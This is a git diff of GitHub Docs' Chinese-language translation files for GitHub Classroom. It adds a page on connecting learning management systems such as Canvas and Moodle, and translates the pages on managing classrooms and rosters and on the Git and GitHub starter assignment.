a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md new file mode 100644 index 0000000000..4b33686c29 --- /dev/null +++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md @@ -0,0 +1,146 @@ +--- +title: 将学习管理系统连接到 GitHub Classroom +intro: 您可以配置 LTI 兼容的学习管理系统 (LMS) 连接到 {% data variables.product.prodname_classroom %},以便导入用于课堂的名册。 +versions: + fpt: '*' +permissions: Organization owners who are admins for a classroom can connect learning management systems to {% data variables.product.prodname_classroom %}. {% data reusables.classroom.classroom-admins-link %} +redirect_from: +- /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom +- /education/manage-coursework-with-github-classroom/connect-to-lms +- /education/manage-coursework-with-github-classroom/generate-lms-credentials +- /education/manage-coursework-with-github-classroom/setup-canvas +- /education/manage-coursework-with-github-classroom/setup-generic-lms +- /education/manage-coursework-with-github-classroom/setup-moodle +- /education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom +shortTitle: Connect an LMS +ms.openlocfilehash: 4138d2e63860815cdba41e6f30209f0bf637104d +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145097937" +--- +## 关于 LMS 的配置 + +您可以将学习管理系统 (LMS) 连接到 {% data variables.product.prodname_classroom %},然后 {% data variables.product.prodname_classroom %} 可以从 LMS 导入学生标识符名册。 若要将 LMS 连接到 {% data variables.product.prodname_classroom %},必须在 LMS 中输入 {% data variables.product.prodname_classroom %} 的配置凭据。 + +## 先决条件 + +要配置 LMS 连接到 {% data variables.product.prodname_classroom %},您必须先创建一个教室。 有关详细信息,请参阅“[管理教室](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)”。 + +## 支持的 LMSes + +{% data variables.product.prodname_classroom %} 支持从实施学习工具互操作性 (LTI) 标准的 LMS 导入名册数据。 + +- LTI 版本 1.0 和/或 1.1 +- 配置 1.X 的 LTI 名称和角色 + +使用 LTI 有助于确保您的信息安全。 LTI 是一个行业标准协议,GitHub Classroom 对 LTI 的使用得到了教学管理系统 (IMS) 全球学习联盟的认证。 有关详细信息,请参阅 IMS 全球学习联盟网站上的[学习工具互操作性](https://www.imsglobal.org/activity/learning-tools-interoperability)和[关于 IMS 全球学习联盟](http://www.imsglobal.org/aboutims.html)。 + +{% data variables.product.company_short %} 测试了名册数据从以下 LMS 到 {% data variables.product.prodname_classroom %} 的导入。 + +- 画布 +- Google Classroom +- Moodle +- Sakai + +目前,{% data variables.product.prodname_classroom %} 不支持从 Blackboard 或 Brightspace 导入名册数据。 + +## 为教室生成配置凭据 + +{% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} +1. 如果您的教室已有名册,您可以更新名册或删除名册并创建新的名册。 + - 有关删除和创建名册的详细信息,请参阅“[删除教室名册](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)”和“[为教室创建名册](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)”。 + - 有关更新名册的详细信息,请参阅“[将学生添加到教室名册](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)”。 +1. 在 LMS 列表中,单击您的 LMS。 如果你的 LMS 不受支持,请单击“其他 LMS”。 + ![LMS 列表](/assets/images/help/classroom/classroom-settings-click-lms.png) +1. 阅读有关连接 LMS 的信息,然后单击“连接到 LMS”。 +1. 复制用于连接到教室的“消费者密钥”、“共享密钥”和“启动 URL”。 + ![复制凭据](/assets/images/help/classroom/classroom-copy-credentials.png) + +## 配置通用 LMS + +您必须为 LMS 配置隐私设置,以允许外部工具接收名册信息。 + +1. 导航到 LMS。 +1. 配置外部工具。 +1. 提供您在 {% data variables.product.prodname_classroom %} 中生成的配置凭据。 + - 使用者密钥 + - 共享密钥 + - 启动 URL(有时称为“工具 URL”或类似名称) + +## 配置 Canvas + +您可以将 {% data variables.product.prodname_classroom %} 配置为 Canvas 的外部应用以将名册数据导入到您的教室。 有关 Canvas 的详细信息,请参阅 [Canvas 网站](https://www.instructure.com/canvas/)。 + +1. 登录到 [Canvas](https://www.instructure.com/canvas/#login)。 +1. 选择要与 {% data variables.product.prodname_classroom %} 集成的 Canvas 课程。 +1. 在左侧边栏中,单击“设置”。 +1. 单击“应用”选项卡。 +1. 单击“查看应用配置”。 +1. 单击“+ 应用”。 +1. 选择“配置类型”下拉菜单,然后单击“按 URL” 。 +1. 从 {% data variables.product.prodname_classroom %} 粘贴配置凭据。 有关详细信息,请参阅“[为教室生成配置凭据](#generating-configuration-credentials-for-your-classroom)”。 + + | Canvas 应用程序配置中的字段 | 值或设置 | + | :- | :- | + | **使用者密钥** | {% data variables.product.prodname_classroom %} 中的消费者密钥 | + | **共享密钥** | {% data variables.product.prodname_classroom %} 中的共享密钥 | + | **允许此工具访问 IMS 名称和角色预配服务** | 已启用 | + | 配置 URL | {% data variables.product.prodname_classroom %} 中的启动 URL | + + {% note %} + + 注意:如果在 Canvas 中看不到标有“允许此工具访问 IMS 名称和角色配置服务”的复选框,则你的 Canvas 管理员必须联系 Canvas 支持人员,以便为你的 Canvas 帐户启用成员身份服务配置。 如果不启用此功能,您将无法从 Canvas 同步名册。 有关详细信息,请参阅 Canvas 网站上的[如何联系 Canvas 支持人员?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767)。 + + {% endnote %} + +1. 单击“提交” 。 +1. 在左边栏中,单击“主页”。 +1. 要提示 Canvas 发送确认电子邮件,请在左边栏中单击“GitHub Classroom”。 按照电子邮件中的说明完成链接 {% data variables.product.prodname_classroom %}。 + +## 配置 Moodle + +您可以将 {% data variables.product.prodname_classroom %} 配置为 Moodle 的活动以将名册数据导入到您的教室。 有关 Moodle 的详细信息,请参阅 [Moodle 网站](https://moodle.org)。 + +您必须使用 Moodle 版本 3.0 或更高版本。 + +1. 登录到 [Moodle](https://moodle.org/login/)。 +1. 选择要与 {% data variables.product.prodname_classroom %} 集成的 Moodle 课程。 +1. 单击“启用编辑”。 +1. 如果希望 {% data variables.product.prodname_classroom %} 在 Moodle 中可用,请单击“添加活动或资源”。 +1. 选择“外部工具”,然后单击“添加” 。 +1. 在“Activity name(活动名称)”字段中,键入 "GitHub Classroom"。 +1. 在“预配置的工具”字段中,单击下拉菜单右侧的“+” 。 +1. 在“External tool configuration(外部工具配置)”下,从 {% data variables.product.prodname_classroom %} 粘贴配置凭据。 有关详细信息,请参阅“[为教室生成配置凭据](#generating-configuration-credentials-for-your-classroom)”。 + + | Moodle 应用程序配置中的字段 | 值或设置 | + | :- | :- | + | **工具名称** | {% data variables.product.prodname_classroom %} - 你的教室名称

注意:可以使用任何名称,但为了清楚起见,我们建议使用此值。 | + | 工具 URL | {% data variables.product.prodname_classroom %} 中的启动 URL | + | LTI 版本 | LTI 1.0/1.1 | + | 默认启动容器 | 新建窗口 | + | 使用者密钥 | {% data variables.product.prodname_classroom %} 中的消费者密钥 | + | 共享机密 | {% data variables.product.prodname_classroom %} 中的共享密钥 | + +1. 滚动到“服务”并单击它。 +1. 在“IMS LTI 名称和角色预配”右侧,选择下拉菜单并单击“根据隐私设置使用此服务检索成员信息”。 +1. 滚动到“隐私”并单击它。 +1. 在“与工具共享启动者的名称”和“与工具共享启动者的电子邮件”右侧,选择下拉菜单并单击“始终” 。 +1. 在页面的底部,单击“保存更改”。 +1. 在“预配置工具”菜单中,单击“GitHub Classroom - 你的教室名称” 。 +1. 在“通用模块设置”下“可用性”的右侧,选择下拉菜单并单击“对学生隐藏”。 +1. 在页面底部,单击“保存并返回到课程”。 +1. 导航到您选择显示 {% data variables.product.prodname_classroom %} 的任何位置,然后单击 {% data variables.product.prodname_classroom %} 活动。 + +## 从 LMS 导入名册 + +有关将名册从 LMS 导入 {% data variables.product.prodname_classroom %} 的详细信息,请参阅“[管理教室](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)”。 + +## 断开 LMS 连接 + +{% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} +1. 在“连接到学习管理系统(LMS)”下,单击“连接设置”。 + ![教室设置中的“连接设置”链接](/assets/images/help/classroom/classroom-settings-click-connection-settings.png) +1. 在“删除与学习管理系统的连接”下,单击“断开与学习管理系统的连接”。 + ![教室连接设置中的“与学习管理系统断开连接”按钮](/assets/images/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png) diff --git a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md index a71b690947..908fbe4dd5 100644 --- a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md +++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md @@ -1,137 +1,120 @@ --- -title: Manage classrooms -intro: 'You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}.' +title: 管理教室 +intro: '您可以为您使用 {% data variables.product.prodname_classroom %} 教授的每个课程创建和管理一个教室。' permissions: 'Organization owners who are admins for a classroom can manage the classroom for an organization. {% data reusables.classroom.classroom-admins-link %}' versions: fpt: '*' redirect_from: - /education/manage-coursework-with-github-classroom/archive-a-classroom - /education/manage-coursework-with-github-classroom/manage-classrooms +ms.openlocfilehash: 0c492f26092e7e9ad47c6237a55de1cf1c90e65f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145097931' --- - -## About classrooms +## 关于教室 {% data reusables.classroom.about-classrooms %} -![Classroom](/assets/images/help/classroom/classroom-hero.png) +![教室](/assets/images/help/classroom/classroom-hero.png) -## About management of classrooms +## 关于教室的管理 -{% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. +{% data variables.product.prodname_classroom %} 使用 {% data variables.product.product_name %} 上的组织帐户来管理您创建的每个教室的权限、管理和安全。 每个组织可以有多个教室。 -After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. +创建教室后,{% data variables.product.prodname_classroom %} 将提示您邀请助教 (TA) 和管理员到教室。 每个教室可以有一个或多个管理员。 管理员可以是教师、TA 或您希望其控制您在 {% data variables.product.prodname_classroom %} 上的教室的任何其他课程管理员。 -Invite TAs and admins to your classroom by inviting the personal accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classroom. Organization owners can administer any classroom for the organization. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" and "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)." +通过以组织所有者身份将 {% data variables.product.product_name %} 上的个人帐户邀请到组织并共享教室的 URL,来邀请 TA 和管理员进入教室。 组织所有者可以管理组织的任何教室。 有关详细信息,请参阅“[组织中的角色](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)”和“[邀请用户加入组织](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)”。 -When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. +使用完教室后,可以存档教室,以后可以参考该教室、名册和作业,或者如果您不再需要该教室,也可以将其删除。 {% data reusables.classroom.reuse-assignment-link %} -## About classroom rosters +## 关于教室名册 -Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. +每个教室都有一个名册。 名册是参加您的课程的学生的标识符列表。 -When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a personal account to link the personal account to an identifier for the classroom. After the student links a personal account, you can see the associated personal account in the roster. You can also see when the student accepts or submits an assignment. +首次与学生共享作业 URL 时,学生必须使用其个人帐户登录 {% data variables.product.product_name %},才能将个人帐户链接到教室的标识符。 学生链接个人帐户后,可以在名册中看到关联的个人帐户。 您还可以查看学生何时接受或提交作业。 -![Classroom roster](/assets/images/help/classroom/roster-hero.png) +![教室名册](/assets/images/help/classroom/roster-hero.png) -## Prerequisites +## 先决条件 -You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." +您必须在 {% data variables.product.product_name %} 上拥有组织帐户才能管理 {% data variables.product.prodname_classroom %} 上的教室。 有关详细信息,请参阅“[{% data variables.product.company_short %} 帐户的类型](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)”和“[从头开始创建新组织](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)”。 -You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." +您必须为组织授权 {% data variables.product.prodname_classroom %} 的 OAuth 应用程序才可管理组织帐户的教室。 有关详细信息,请参阅“[授权 OAuth 应用](/github/authenticating-to-github/authorizing-oauth-apps)”。 -## Creating a classroom +## 创建教室 {% data reusables.classroom.sign-into-github-classroom %} -1. Click **New classroom**. - !["New classroom" button](/assets/images/help/classroom/click-new-classroom-button.png) -{% data reusables.classroom.guide-create-new-classroom %} +1. 单击“新建教室”。 + ![“新建教室”按钮](/assets/images/help/classroom/click-new-classroom-button.png) {% data reusables.classroom.guide-create-new-classroom %} -After you create a classroom, you can begin creating assignments for students. For more information, see "[Use the Git and {% data variables.product.company_short %} starter assignment](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment)," "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)," "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)," or "[Reuse an assignment](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment)." +创建教室后,您便可开始为学生创建作业。 有关详细信息,请参阅“[使用 Git 和 {% data variables.product.company_short %} 入门作业](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment)”、“[创建个人作业](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)”、“[创建小组作业](/education/manage-coursework-with-github-classroom/create-a-group-assignment)”或“[重用作业](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment)。” -## Creating a roster for your classroom +## 为教室创建名册 -You can create a roster of the students who participate in your course. +您可以创建参加本课程的学生名册。 -If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)." +如果您的课程已有名册,您可以更新名册上的学生或删除名册。 有关详细信息,请参阅“[将学生添加到教室名册](#adding-students-to-the-roster-for-your-classroom)”或“[删除教室名册](#deleting-a-roster-for-a-classroom)”。 + +{% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} +1. 若要将 {% data variables.product.prodname_classroom %} 连接到 LMS 并导入名册,请单击 {% octicon "mortar-board" aria-label="The mortar board icon" %}“从学习管理系统导入”,然后按照说明进行操作。 有关详细信息,请参阅“[将学习管理系统连接到 {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)”。 + ![“从学习管理系统导入”按钮](/assets/images/help/classroom/click-import-from-a-learning-management-system-button.png) +1. 为您的名册提供学生标识符。 + - 若要通过上传包含学生标识符的文件来导入名册,请单击“上传 CSV 或文本文件”。 + - 要手动创建名册,请键入学生标识符。 + ![用于键入学生标识符的文本字段和“上传 CSV 或文本文件”按钮](/assets/images/help/classroom/type-or-upload-student-identifiers.png) +1. 单击“创建名册”。 + ![“创建名册”按钮](/assets/images/help/classroom/click-create-roster-button.png) + +## 将学生添加到教室的名册 + +教室必须有一个现有的名册,才能将学生添加到名册中。 有关创建名册的详细信息,请参阅“[创建教室名册](#creating-a-roster-for-your-classroom)”。 + +{% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} +1. 在“教室名册”右侧,单击“更新学生”。 + ![学生列表上方“教室名册”右侧的“更新学生”按钮](/assets/images/help/classroom/click-update-students-button.png) +1. 按照说明将学生添加到名册中。 + - 若要从 LMS 导入学生,请单击“从学习管理系统同步”。 有关从 LMS 导入名册的详细信息,请参阅“[将学习管理系统连接到 {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)”。 + - 若要手动添加学生,请在“手动添加学生”下单击“上传 CSV 或文本文件”或键入学生标识符,然后单击“添加名册条目” 。 + ![用于选择将学生添加到教室的方法的模式](/assets/images/help/classroom/classroom-add-students-to-your-roster.png) + +## 重命名教室 + +{% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} +1. 在“Classroom name(教室名称)”下,为教室输入一个新的名称。 + ![“教室名称”下用于键入教室名称的文本字段](/assets/images/help/classroom/settings-type-classroom-name.png) +1. 单击“重命名教室”。 + ![“重命名教室”按钮](/assets/images/help/classroom/settings-click-rename-classroom-button.png) + +## 存档或取消存档教室 + +您可以在 {% data variables.product.prodname_classroom %} 上存档不再使用的教室。 存档教室时,无法为教室创建新作业或编辑现有作业。 学生不能在存档的教室中接受分配作业的邀请。 {% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.click-students %} -1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, your LMS administrator will first need to register your LMS instance and then you will need to connect your LMS course to your classroom. Once connected, you can click the **Import from...** button to import a roster from your LMS course. For more information, see "[Connect a learning management system course to a classroom](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom)." - - {% note %} +1. 在教室名称右侧,选择 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} 下拉菜单,然后单击“存档”。 + ![水平烤肉串图标的下拉菜单和“存档”菜单项](/assets/images/help/classroom/use-drop-down-then-click-archive.png) +1. 若要取消存档教室,请选择教室名称右侧的 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} 下拉菜单,然后单击“取消存档”。 + ![水平烤肉串图标的下拉菜单和“取消存档”菜单项](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png) - **Note:** {% data reusables.classroom.google-classroom-note %} +## 删除教室的名册 - {% endnote %} +{% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} +1. 在“删除此名册”下,单击“删除名册”。 + ![教室的“学生”选项卡中“删除此名册”下的“删除名册”按钮](/assets/images/help/classroom/students-click-delete-roster-button.png) +1. 阅读警告,然后单击“删除名册”。 + ![教室的“学生”选项卡中“删除此名册”下的“删除名册”按钮](/assets/images/help/classroom/students-click-delete-roster-button-in-modal.png) -2. Provide the student identifiers for your roster. - - To import a roster by uploading a file containing student identifiers, click **Upload a CSV or text file**. - - To create a roster manually, type your student identifiers. - ![Text field for typing student identifiers and "Upload a CSV or text file" button](/assets/images/help/classroom/type-or-upload-student-identifiers.png) -3. Click **Create roster**. - !["Create roster" button](/assets/images/help/classroom/click-create-roster-button.png) +## 删除教室 -## Adding students to the roster for your classroom - -Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classroom](#creating-a-roster-for-your-classroom)." - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.click-students %} -1. To the right of "Classroom roster", click **Update students**. If you have already linked your classroom to an LMS course, then you will see a **Sync from...** button instead. - !["Update students" button to the right of "Classroom roster" heading above list of students](/assets/images/help/classroom/click-update-students-button.png) -1. Follow the instructions to add students to the roster. - - To import students from an LMS, your LMS administrator will first need to register your LMS instance and then you will need to connect your LMS course to your classroom. Once connected, you can click the **Sync from...** button. For more information, see "[Connect a learning management system course to a classroom](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom)." - {% note %} - - **Note:** {% data reusables.classroom.google-classroom-note %} - - {% endnote %} - - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**. - ![Modal for choosing method of adding students to classroom](/assets/images/help/classroom/classroom-add-students-to-your-roster.png) - -## Renaming a classroom - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.click-settings %} -1. Under "Classroom name", type a new name for the classroom. - ![Text field under "Classroom name" for typing classroom name](/assets/images/help/classroom/settings-type-classroom-name.png) -1. Click **Rename classroom**. - !["Rename classroom" button](/assets/images/help/classroom/settings-click-rename-classroom-button.png) - -## Archiving or unarchiving a classroom - -You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. - -{% data reusables.classroom.sign-into-github-classroom %} -1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**. - ![Drop-down menu from horizontal kebab icon and "Archive" menu item](/assets/images/help/classroom/use-drop-down-then-click-archive.png) -1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**. - ![Drop-down menu from horizontal kebab icon and "Unarchive" menu item](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png) - -## Deleting a roster for a classroom - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.click-students %} -1. Under "Delete this roster", click **Delete roster**. - !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button.png) -1. Read the warnings, then click **Delete roster**. - !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button-in-modal.png) - -## Deleting a classroom - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.click-settings %} -1. To the right of "Delete this classroom", click **Delete classroom**. - !["Delete repository" button](/assets/images/help/classroom/click-delete-classroom-button.png) -1. **Read the warnings**. -1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete. - ![Modal for deleting a classroom with warnings and text field for classroom name](/assets/images/help/classroom/delete-classroom-modal-with-warning.png) -1. Click **Delete classroom**. - !["Delete classroom" button](/assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png) +{% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} +1. 在“删除此教室”右侧,单击“删除教室”。 + ![“删除存储库”按钮](/assets/images/help/classroom/click-delete-classroom-button.png) +1. 阅读警告。 +1. 要验证删除的是否为正确的教室,请键入要删除的教室的名称。 + ![用于删除的教室的模式,其中包含警告和教室名称的文本字段](/assets/images/help/classroom/delete-classroom-modal-with-warning.png) +1. 单击“删除教室”。 + ![“删除教室”按钮](/assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png) diff --git a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md index 115f623678..5cb81bf3c5 100644 --- a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md +++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md @@ -1,104 +1,109 @@ --- -title: Use the Git and GitHub starter assignment -intro: 'You can use the Git & {% data variables.product.company_short %} starter assignment to give students an overview of Git and {% data variables.product.company_short %} fundamentals.' +title: 使用 Git 和 GitHub 起始作业 +intro: '可以使用 Git 和 {% data variables.product.company_short %} 入门作业,让学生全面了解 Git 和 {% data variables.product.company_short %} 基础知识。' versions: fpt: '*' permissions: 'Organization owners who are admins for a classroom can use Git & {% data variables.product.company_short %} starter assignments. {% data reusables.classroom.classroom-admins-link %}' redirect_from: - /education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment shortTitle: Starter assignment +ms.openlocfilehash: ec19f9ce78b3a14803ee7383a05e7d0188830c7f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147574010' --- +Git 和 {% data variables.product.company_short %} 入门作业是一个预制课程,概括了 Git 和 {% data variables.product.company_short %} 的基础知识,并将学生与资源联系起来以了解更多关于具体主题的信息。 -The Git & {% data variables.product.company_short %} starter assignment is a pre-made course that summarizes the basics of Git and {% data variables.product.company_short %} and links students to resources to learn more about specific topics. - -## Prerequisites +## 先决条件 {% data reusables.classroom.assignments-classroom-prerequisite %} -## Creating the starter assignment +## 创建起始作业 -### If there are no existing assignments in the classroom +### 如果在课堂中没有现有作业 -1. Sign into {% data variables.product.prodname_classroom_with_url %}. -2. Navigate to a classroom. -3. In the {% octicon "repo" aria-label="The repo icon" %} **Assignments** tab, click **Use starter assignment**. +1. 登录 {% data variables.product.prodname_classroom_with_url %}。 +2. 导航到教室。 +3. 在 {% octicon "repo" aria-label="The repo icon" %}“作业”选项卡中,单击“使用入门作业” 。
Creating your first assignment
-### If there already are existing assignments in the classroom +### 如果在课堂中已经有现有作业 -1. Sign into {% data variables.product.prodname_classroom_with_url %}. -2. Navigate to a classroom. -3. In the {% octicon "repo" aria-label="The repo icon" %} **Assignments** tab, click the link on the blue banner. +1. 登录 {% data variables.product.prodname_classroom_with_url %}。 +2. 导航到教室。 +3. 在 {% octicon "repo" aria-label="The repo icon" %}“作业”选项卡中,单击蓝色横幅上的链接。
The 'New assignment' button
-## Setting up the basics for an assignment +## 设置作业的基本信息 -Import the starter course into your organization, name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories. +将入门课程导入您的组织,命名您的作业,决定是否分配截止日期,并选择分配仓库的可见性。 -- [Prerequisites](#prerequisites) -- [Creating the starter assignment](#creating-the-starter-assignment) - - [If there are no existing assignments in the classroom](#if-there-are-no-existing-assignments-in-the-classroom) - - [If there already are existing assignments in the classroom](#if-there-already-are-existing-assignments-in-the-classroom) -- [Setting up the basics for an assignment](#setting-up-the-basics-for-an-assignment) - - [Importing the assignment](#importing-the-assignment) - - [Naming the assignment](#naming-the-assignment) - - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) -- [Inviting students to an assignment](#inviting-students-to-an-assignment) -- [Next steps](#next-steps) -- [Further reading](#further-reading) +- [先决条件](#prerequisites) +- [创建入门作业](#creating-the-starter-assignment) + - [如果在课堂中没有现有作业](#if-there-are-no-existing-assignments-in-the-classroom) + - [如果在课堂中已经有现有作业](#if-there-already-are-existing-assignments-in-the-classroom) +- [设置作业的基本信息](#setting-up-the-basics-for-an-assignment) + - [导入作业](#importing-the-assignment) + - [命名作业](#naming-the-assignment) + - [分配作业的截止时间](#assigning-a-deadline-for-an-assignment) + - [选择作业存储库的可见性](#choosing-a-visibility-for-assignment-repositories) +- [邀请学生参加作业](#inviting-students-to-an-assignment) +- [后续步骤](#next-steps) +- 进一步阅读 -### Importing the assignment +### 导入作业 -You first need to import the Git & {% data variables.product.product_name %} starter assignment into your organization. +你首先需要将 Git 和 {% data variables.product.product_name %} 入门作业导入你的组织。
The `Import the assignment` button
-### Naming the assignment +### 命名作业 -For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`. +对于个人作业,{% data variables.product.prodname_classroom %} 使用仓库前缀和学生的 {% data variables.product.product_name %} 用户名对仓库命名。 默认情况下,仓库前缀是作业标题。 例如,如果你对作业 "assignment-1" 命名,学生在 {% data variables.product.product_name %} 上的用户名是 @octocat,则 @octocat 的作业存储库的名称将是 `assignment-1-octocat`。 {% data reusables.classroom.assignments-type-a-title %} -### Assigning a deadline for an assignment +### 分配作业的截止时间 {% data reusables.classroom.assignments-guide-assign-a-deadline %} -### Choosing a visibility for assignment repositories +### 选择作业仓库的可见性 -The repositories for an assignment can be public or private. If you use private repositories, only the student can see the feedback you provide. Under "Repository visibility," select a visibility. +作业的仓库可以是公开或私有的。 如果您使用私有仓库,只有学生可以查看您提供的反馈。 在“Repository visibility(仓库可见性)”下,选择可见性。 -When you're done, click **Continue**. {% data variables.product.prodname_classroom %} will create the assignment and bring you to the assignment page. 